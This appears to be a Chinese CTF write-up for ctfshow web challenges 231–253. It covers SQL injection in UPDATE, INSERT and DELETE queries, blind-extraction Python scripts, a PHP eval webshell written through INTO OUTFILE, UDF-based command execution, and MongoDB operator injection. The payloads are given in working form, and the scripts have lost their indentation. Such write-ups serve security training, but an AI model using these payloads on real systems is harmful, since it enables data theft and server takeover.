sql注入


web 231

  • 描述: update 注入
//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
// 无过滤

可以利用子查询将结果更新到可见表中, 在password这里闭合语句就好

注意本题是将passwordusername都POST过去, 在api那里GET了半天发现有"data":[]

执行完下面的语句回到/update.php, 如果发现用户名全都变了那就成功了

# 查库 
password=1',username=database()#&username=1
# 查表 banlist,ctfshow_user,flaga
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1
# 查列 id,flagas,info
password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')#&username=1
# 查字段
password=1',username=(select flagas from ctfshow_web.flaga) where 1=1#&username=1

也可以利用盲注, 我就直接上大佬脚本吧

# By gkjzjh146
import requests
url = 'http://6dba60c7-91d2-4d8d-a0c8-2aeb3115cf71.challenge.ctf.show/api/'
str = ''
x = 1
for i in range(60):
min,max = 32, 128
while True:
j = min + (max-min)//2
if(min == j):
str += chr(j)
print(str)
break
# 爆表名
# payload = {
# 'username': "ctfshow"+"}"+"' or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{},1))<{},true,false)#".format(i, j),
# 'password': f"{x}"
# }
# 爆列
# payload = {
# 'username': "ctfshow"+"}"+"' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flaga'),{},1))<{},true,false)#".format(i, j),
# 'password': f"{x}"
# }
# # 爆值
payload = {
'username': "ctfshow"+"}"+"' or if(ascii(substr((select group_concat(flagas) from flaga),{0},1))<{1},true,false)#".format(i, j),
'password': f"{x}"
}
# payload = {'username':f"if(load_file('/var/www/html/api/index.php')regexp('{flag+j}'),0,1)",
# 'password':0}
r = requests.post(url=url,data=payload).text
if(r'\u66f4\u65b0\u6210\u529f' in r):
max = j
x += 1
else:
min = j
x += 1

web232

  • 描述: 同上
//分页查询
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";

闭合md5函数的右括号即可

# 查库
password=1'),username=database()#&username=1
# 省略部分步骤
# 查字段
password=1'),username=(select flagass from ctfshow_web.flagaa) where 1=1#&username=1

web233-234

  • 描述: 23333
//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

可以利用转译符号去掉特定的单引号:

例如password传入\, username为username=database()#

update ctfshow_user set pass = '\' where username = ',username=database()#'
# 等价于
update ctfshow_user set pass = 'x',username=database()#'

所以可以构造:

password=1\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#

剩下的就是改语句, 不再赘述了

web235-236

描述: update

过滤or, 现在information_schema也无了

概述MySQL统计信息无列名注入 以及 Bypass information_schema与无列名注入

利用innodb_table_stats代替information_schema

mysql默认存储引擎innoDB携带的表:

mysql.innodb_table_statsmysql.innodb_index_stats, 两表均有database_nametable_name字段

# 查表 banlist,ctfshow_user,flag23a1
password=1\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#

下面就是无列注入的内容:

前面做题可以知道表结构为: id, username, password, 所以构造

select 1,2,3 union select * from flag23a1

数字与users中的列相应, 现在可以利用数字对列进行查询了:

select `1` from (select 1,2,3 union select * from flag23a1)a;
# 就相当于select pass from (select 1,2,3 union select * from users)a;

所以最后payload, (似乎只有反引号不会回显, 只能加上group_concat)

password=1\&username=,username=(select group_concat(`2`) from(select 1,2,3 union select * from flag23a1)a)#

web237

  • 描述: insert
//插入数据
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
// 无过滤

你说的对但是有人因为开了过滤广告的插件导致插入界面弹不出来, 找了半天在哪里能提交包

先测试一下, 注意闭合value的括号:

username=123',(select database()))#&password=123

然后刷新界面可以看到多出了一条密码为ctfshow_web的条目, 语句拼接最终变为:

insert into ctfshow_user(username,pass) value('123',(select database()))#','123');

没有过滤直接如法炮制即可:

# 查表:
username=123',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=123
# 查列:
username=123',(select group_concat(column_name) from information_schema.columns where table_name='flag'))#&password=123
# 查数据:
username=123',(select group_concat(flagass23s3) from flag))#&password=123

web238

  • 描述: 同上

过滤了空格, 可以使用()代替

# 查表
username=12',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))%23&password=123
# 查列
username=12',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')))%23&password=123
# 查数据
username=12',(select(group_concat(flag))from(flagb)))%23&password=123

web239

  • 描述: 同上

上题基础上再过滤or, 利用无列注入即可; web235有提及

# 查表
username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#&password=1
# 查数据, 别问, 问就是能跑
username=1',(select(group_concat(flag))from(flagbb)))%23&password=1

web240

  • 描述: 同上
  • Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写

过滤空格 or sys mysql

大佬写的, 因为直接提示了前面四个字符为flag, 在表不变的情况下, 列名还是flag, 直接爆破即可

import requests

url='http://1a19dc60-01fb-40fc-bede-45b9a595b069.challenge.ctf.show/api/insert.php'

str='ab'
for i in str:
for x in str:
for z in str:
for u in str:
for j in str:
data={
'username':f"123',(select(group_concat(flag))from(flag{i+x+z+u+j})))#",
'password':123
}
print(data)
res=requests.post(url=url,data=data)
print(res.text)

web241

  • 描述: delete
//删除记录
$sql = "delete from ctfshow_user where id = {$id}";
//无过滤

delete不能用union和select, 可以用报错注入或者是盲注

报错注入回显被覆盖, 只能回显"删除成功", 还是用时间盲注吧

import requests
import time

url = 'http://47a7a298-f821-41b6-9f49-a24094ab0337.challenge.ctf.show/api/delete.php'

flag = ''
for i in range(1, 100):
min = 32
max = 128
while 1:
j = min + (max - min) // 2
if min == j:
flag += chr(j)
print(flag)
break

# payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.02),1)"
# payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{i},1))<{j},sleep(0.02),1)"
payload = f"if(ascii(substr((select group_concat(flag) from flag),{i},1))<{j},sleep(0.02),1)"

data = {
'id': payload
}
try:
r = requests.post(url=url, data=data, timeout=0.38)
min = j
except:
max = j

time.sleep(0.2)

web242

  • 描述: file
//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";

可以查询into outfile的使用, 我们可以在导出的文件头中加入一句话木马

官方关于select into的解释

抓导出的包, 在api/dump.php注入:

filename=1.php' LINES STARTING BY '<?php eval($_POST[1]);?>'#

然后访问dump/1.php, 进行POST命令执行即可

1=system('tac /flag.here');

web243

  • 描述: 同上

仅过滤了php, 可以利用配置文件.user.ini传入

auto_append_file=1.png

注意, 要至少有一个php文件, 而/dump下刚好有一个index.php, 只不过是不能直接访问的

可以继续用starting by, 也可以用terminated by后接上16进制, 利用分号闭合前面的select

# auto_prepend_file=easy.png十六进制加密
filename=.user.ini' LINES STARTING BY ';' TERMINATED BY 0x0a6175746f5f70726570656e645f66696c653d312e706e670a;#
# 再将png写入:
filename=easy.png' LINES TERMINATED BY 0x3c3f706870206576616c28245f504f53545b305d293b3f3e#

或者直接明文即可:

filename=.user.ini' lines starting by 'auto_prepend_file=1.png\n'#
# 修改一下马的写法
filename=1.png' lines starting by '<?= eval($_POST[1]);?>'#

image-20240822095253481

web244

  • 描述: error

报错注入, 变成了输入框

//备份表
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

注意因为显示不全需要利用mid函数截取flag

# 查表
?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,32),0x3d),1)--+
# 查列
?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),1,32),0x3d),1)--+
# 查flag
?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(flag) from ctfshow_flag),1,32),0x3d),1)--+
?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(flag) from ctfshow_flag),32,32),0x3d),1)--+

web245

  • 描述: 同上

过滤updatexml那就用extractvalue

# 查表 ctfshow_flagsa
?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,32),0x3d))--+
# 查列 flag1
?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'),1,32),0x3d))--+
# 查flag
?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(flag1) from ctfshow_flagsa),1,32),0x3d))--+
?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(flag1) from ctfshow_flagsa),32,32),0x3d))--+

web246

  • 描述: 同上

好一个无过滤

//无过滤
过滤updatexml extractvalue

利用floor报错注入

# 查表
?id=-1' union select 1,count(*),concat(0x3a,0x3a,(select (table_name) from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23
# 查列
?id=-1' union select 1,count(*),concat(0x3a,0x3a,(select (column_name) from information_schema.columns where table_name='ctfshow_flags' limit 1,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23
# 查数据
?id=-1' union select 1,count(*),concat_ws('-',(select concat(flag2) from ctfshow_flags limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a--+

web247

  • 描述: error
//无过滤
过滤updatexml extractvalue floor

利用其他函数替换floor即可, 例如:

floor()	向下取整
ceil() 向上取整
round() 四舍五入

所以payload:

# 查表
?id=-1' union select 1,count(*),concat(0x3a,0x3a,(select (table_name) from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,round(rand(0)*2))a from information_schema.columns group by a%23
# 查列
?id=-1' union select 1,count(*),concat(0x3a,0x3a,(select (column_name) from information_schema.columns where table_name='ctfshow_flagsa' limit 1,1),0x3a,0x3a,round(rand(0)*2))a from information_schema.columns group by a%23
# 查数据
?id=-1' union select 1,count(*),concat_ws('-',(select concat(`flag?`) from ctfshow_flagsa limit 0,1),round(rand(0)*2)) as a from information_schema.tables group by a--+

web248

  • 描述: eval

提示是UDF注入, 无过滤

芝士大佬解析, 似乎该方法还有一个提权操作

user defined function, 用户自定义函数, 关联语法如下:

CREATE [AGGREGATE] FUNCTION [IF NOT EXISTS] function_name
RETURNS {STRING|INTEGER|REAL|DECIMAL}
SONAME shared_library_name

必要的信息收集的指令:

select version()
select @@basedir #查看sql安装路径
show variables like "secure_file_priv"; #能读入或写入文件的路径
select @@plugin_dir #查看plugin_dir路径

没有上传点, 这个udf.so要用某种方式上传

/api/?id=1'; select @@plugin_dir; #
# 查出Mysql插件路径:/usr/lib/mariadb/plugin/

/api/?id=';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';#
# 引入udf.so文件从而创建函数sys_eval

给出大佬脚本, 以及sqlmap udf文件的16进制, 将0x后的十六进制放入udf字符串即可, 记得去掉头尾

因为是GET传值有长度限制, 所以用分段传值

import requests
url="http://e2faf183-01d8-4b41-acbf-ad08aafe7599.challenge.ctf.show/api/"
udf=""
# 用的网站提供的lib_mysqludf_sys_64.so
udfs=[]
for i in range(0,len(udf),5000):
udfs.append(udf[i:i+5000])
#写入多个文件中
for i in udfs:
url1=url+f"?id=1';SELECT '{i}' into dumpfile '/tmp/"+str(udfs.index(i))+".txt'%23"
requests.get(url1)

#合并文件生成so文件
url2=url+"?id=1';SELECT unhex(concat(load_file('/tmp/0.txt'),load_file('/tmp/1.txt'),load_file('/tmp/2.txt'),load_file('/tmp/3.txt'))) into dumpfile '/usr/lib/mariadb/plugin/hack.so'%23"
requests.get(url2)

#创建自定义函数并执行恶意命令
requests.get(url+"?id=1';create function sys_eval returns string soname 'hack.so'%23")
r=requests.get(url+"?id=1';select sys_eval('cat /f*')%23")
print(r.text)

web249

  • 描述: 开始nosql,flag在flag中
//无过滤
$user = $memcache->get($id);

nosql注入, 指的意思是Not only SQL

  1. 键值对

memcached::get()方法支持传递一个键,返回对应的值,也支持传递一个数组,把数组中所有元素当做键查询并返回值。 因此可以传递一个数组,数组中包含键flag,这样就能绕过inval同时也能得到flag的结果了

?id[]=flag
# 键值对可以直接干了

web250

  • 描述: nosql
$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();

//无过滤
if(count($cursor)>0){
$ret['msg']='登陆成功';
array_push($ret['data'], $flag);
}

MongoDB重言式

在mongodb中,要求的查询语句是json格式,如{"username": "admin", "password": "admin"}

在php中,json就是数组,也就是Array('username'=> 'admin', 'password'=> 'admin')

同时MongoDB要求的json格式中,是可以进行条件查询的,如这样的json: {"username": "admin", "password": {"$regex": '^abc$'}},会匹配密码abc

也就是说,如果键对应的值是一个字符串,那么就相当于条件等于,只不过省去了json,如果键对应的值是json对象,就代表是条件查询

username[$ne]=1&password[$ne]=1

$ne是不相等的意思, $regex则是正则匹配

web251

  • 描述: 同上

发包发现总是匹配admin没有flag, 给他去了即可

username[$ne]=admin&password[$ne]=1

web252

  • 描述: 同上
//sql
db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()

用正则匹配即可固定

username[$regex]=^[^admin].*$&password[$ne]=1
username[$ne]=1&password[$regex]=ctfshow{

web253

  • 描述: 同上

你说的对, 写着是可以显示flag, 但是就是返回不了, 只会显示登录成功

那就换成盲注, 主要是要过滤掉错误的登录用户名

import requests, time, json


def brute(action, username=""):
url = "http://44e163eb-3f69-4641-83b2-5499d9c0d5ed.challenge.ctf.show/api/"
if action == "username":
res = "^[^a]" # admin1的password为ctfshow666...很明显不是flag,所以禁掉admin开头的用户
else:
res = "^ctfshow{"
for j in range(30):
flag = False
for i in range(127):
reg = res
if chr(i) not in "0123456789abcdefghijklmnopqrstuvwxyz-{}:,_":
continue
n = chr(i)
if chr(i) in "-{}:":
n = "\\"+chr(i)
print(chr(i))
if action == "username":
data = {"username[$regex]": f"{reg+n}", "password[$ne]": f"1"}
else:
data = {"username[$regex]": f"{username}$", "password[$regex]": f"{reg+n}"}
while True:
try:
r = requests.post(url, data=data, timeout=7)
break
except TimeoutError:
time.sleep(0.1)
except KeyboardInterrupt:
exit(0)
try:
resp = json.loads(r.text)
except:
resp = None
continue
if resp["msg"] == "\u767b\u9646\u6210\u529f":
res += chr(i)
flag = True
break
if not flag:
break
print(res)
return res


if __name__ == '__main__':
username = brute("username")
print(f"用户名为: {username}")
password = brute("password", username)
print(f"用户名: {username}\n密码: {password}")

又找了一个大佬的脚本, 比较简洁

import requests
import string
table = string.digits+string.ascii_lowercase+string.ascii_uppercase+'_{}-,'
url = 'http://b4a88d5f-235b-4e06-b7b9-3cf10e9c26de.challenge.ctf.show/api/index.php'
flag = ''
for i in range(100):
for j in table:
tmp = flag+j
payload1 = f'f{tmp}.*$'
data1 = {'username[$regex]':payload1
,'password[$ne]':1}

payload2 = f'^{tmp}.*$'
data2 = {'username[$regex]':'flag'
,'password[$regex]':payload2}
r = requests.post(url=url, data=data2).text
if r"\u767b\u9646\u6210\u529f" in r:
flag += j
print(flag)
break